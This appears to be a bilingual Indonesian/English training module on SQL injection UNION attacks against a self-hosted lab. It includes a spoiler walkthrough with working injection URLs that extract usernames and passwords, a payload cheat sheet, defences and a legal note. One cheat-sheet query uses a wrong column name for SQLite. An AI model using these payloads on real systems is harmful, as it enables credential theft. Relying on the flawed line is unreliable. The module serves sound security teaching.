

MODUL BELAJAR KEAMANAN WEB

SQL Injection — UNION Attack (Tingkat Medium)

Modul	Lab #2 — UNION Attack: mencuri data dari tabel lain
Level	MEDIUM (naik dari Apprentice/Pemula)
Prasyarat	Lab #1 (bypass filter dengan OR 1=1)
Target	Lab lokal milik sendiri: sql_i_app2.py di http://127.0.0.1:8011
Misi	Temukan password 'administrator' dari tabel users yang tersembunyi
Bahasa	Indonesia ■■ + English ■■ (tiap bagian dua kolom)

1. Konsep — Apa itu UNION Attack?

BAHASA INDONESIA

Di lab sebelumnya (pemula), kita **mematikan filter** dengan OR 1=1 — hanya membocorkan data yang sudah ada di query. Lab ini naik kelas: **UNION** adalah operator SQL yang **menambahkan hasil query kedua** ke hasil query pertama. Artinya kita bisa membuat server menjalankan query BARU milik kita (misalnya SELECT password FROM users) dan menampilkannya di halaman orang lain.

Syarat UNION (wajib hafal):

1. Jumlah **kolom sama** dengan query asli — cek dengan **ORDER BY**
2. Tipe data kompatibel — coba-salah dengan **NULL** atau string

Concept — What is a UNION attack?

ENGLISH

In the previous beginner lab we only **disabled a filter** using OR 1=1, which leaks rows the original query already touches. This lab levels up: **UNION** is a SQL operator that **appends the results of a second query** to the first. That means we can make the server execute a brand NEW query of our own (e.g. SELECT password FROM users) and display its results inside someone else's page.

UNION requirements (memorize these):

1. The **same number of columns** as the original query — probe with **ORDER BY**
2. Compatible data types — probe by substituting **NULL** or a string

2. Metodologi — 4 Langkah (di semua lab UNION)

BAHASA INDONESIA

Langkah 1 — Hitung kolom: suntik ' ORDER BY 1--, lalu 2, 3, ... sampai server error. Error = melebihi jumlah kolom. Kalau ORDER BY 2 OK tapi 3 error, jumlah kolom = 2.

Langkah 2 — Cari kolom teks: suntik ' UNION SELECT 'a',NULL-- lalu ' UNION SELECT NULL,'a'--. Halaman menampilkan 'a' di kolom yang cocok untuk teks.

Langkah 3 — Cari nama tabel/kolom: kalau nama tabel tidak diketahui, tebak umum: users, user, accounts; atau baca sqlite_master (SQLite) / information_schema (MySQL).

Langkah 4 — Ekstrak data: ' UNION SELECT username, password FROM users--

Methodology — 4 steps (works on every UNION lab)

ENGLISH

Step 1 — Count columns: inject ' ORDER BY 1--, then 2, 3, ... until the server errors. Error = exceeded the column count. If ORDER BY 2 works but 3 fails, there are exactly 2 columns.

Step 2 — Find text columns: inject ' UNION SELECT 'a',NULL-- then ' UNION SELECT NULL,'a'--. The page

renders 'a' in whichever column accepts text.

Step 3 — Find table/column names: if unknown, try common guesses: users, user, accounts; or read sqlite_master (SQLite) / information_schema (MySQL).

Step 4 — Extract data: ' UNION SELECT username, password FROM users--

3. Walkthrough — Penyelesaian Lab Ini (SPOILER!)

Coba sendiri dulu! Bagian ini = kunci jawaban. Sama seperti lab #1, semua request dijalankan pada lab lokal (127.0.0.1:8011) milik sendiri.

Langkah 1 / Step 1 — ORDER BY

' ORDER BY 2-- → OK (2 kolom)

' ORDER BY 3-- → HTTP 500 (error = hanya 2 kolom)

URL lengkap: URL: /filter?kategori=Gifts%27%20ORDER%20BY%202--

Langkah 2 / Step 2 — UNION dengan string

' UNION SELECT 'a','b'--

→ Halaman menampilkan baris 'a' | 'b' = kedua kolom teks

URL lengkap: URL: /filter?kategori=%27%20UNION%20SELECT%20%27a%27,%27b%27--

Langkah 3 / Step 3 — Serangan utama

' UNION SELECT username, password FROM users--

→ Tabel produk kini menampilkan kredensial!

URL lengkap: URL: /filter?kategori=%27%20UNION%20SELECT%20username,password%20FROM%20users--

4. Hasil yang Harus Muncul

Hasil yang harus kamu lihat (verifikasi keberhasilan):

Username	Password (hasil UNION)
administrator	Flag{union_attack_medium}
wiener	PeterW1ener
carlos	Montoya123

Baris kuning = target misi. Kalau tampil di tabel toko, serangan UNION kamu sukses.

5. Mengapa Ini Bekerja? (Pemahaman Dalam)

BAHASA
INDONESIA

Query asli mengembalikan 2 kolom (nama, harga). UNION SELECT username, password mengembalikan 2 kolom juga — jumlahnya cocok, tipe kolomnya (teks) juga cocok. SQLite menjalankan keduanya dan **menempelkan** hasilnya. Karena kode server menampilkan SEMUA baris tanpa memeriksa asal-usulnya, kredensial pun ikut tampil di halaman produk.

```
SELECT nama, harga FROM products WHERE kategori = '' UNION
SELECT username, password FROM users--' AND released = 1
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
query kedua milik PENYERANG, hasilnya ditempel ke halaman
```

Why does this work? (deep understanding)

ENGLISH

The original query returns 2 columns (name, price). UNION SELECT username, password also returns 2 columns — count matches, types (text) match. SQLite executes both and **glues** the results together. Because the server renders EVERY row without checking where it came from, credentials end up displayed on the product page.

```
SELECT name, price FROM products WHERE category = '' UNION
SELECT username, password FROM users--' AND released = 1
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
the ATTACKER's second query, appended to the page
```

6. Cara Mencegahnya (Defensi)

BAHASA
INDONESIA

1. **Parameterized query** — input tidak pernah menjadi kode SQL:
`cur.execute("SELECT nama, harga FROM products WHERE kategori = ? AND released = 1",
(kategori,))`
2. **Whitelist kategori** — validasi nilai terhadap daftar tetap.
3. **Least privilege** — akun DB aplikasi tidak butuh akses tabel users.
4. **Jangan tampilkan error mentah** — log internal saja.

How to prevent it (defense)

ENGLISH

1. **Parameterized queries** — user input never becomes SQL code:
`cur.execute("SELECT name, price FROM products WHERE category = ? AND released = 1",
(category,))`
2. **Whitelist categories** — validate against a fixed list.
3. **Least privilege** — the app's DB account shouldn't read users at all.
4. **Never surface raw errors** — log them server-side only.

7. Cheat Sheet UNION (simpan ini!)

Jumlah kolom	: ' ORDER BY N--	(naikkan N sampai error)
Tipe kolom (teks)	: ' UNION SELECT 'a',NULL--	(geser 'a' ke tiap kolom)
Baca nama tabel	: ' UNION SELECT table_name,NULL FROM sqlite_master--	
Baca kolom tabel	: ' UNION SELECT sql,NULL FROM sqlite_master WHERE type='table'	
Ekstrak data	: ' UNION SELECT username,password FROM users--	
MySQL equivalent	: information_schema.tables / .columns	

8. Legal & Etika

ID : Semua teknik di modul ini HANYA untuk lab milik sendiri (localhost). Menggunakannya pada sistem orang lain tanpa izin tertulis = kejahatan komputer (UU ITE / Computer Misuse Act). Jalur legal menuju target nyata: bug bounty dengan scope jelas (HackerOne/Bugcrowd/Immunefi).

EN : Every technique in this module is for YOUR OWN local lab only (localhost). Using them against systems you don't own without written permission is a computer crime (Indonesian IT law / Computer Misuse Act). The legal path to real targets: bug bounty programs with explicit scope (HackerOne/Bugcrowd/Immunefi).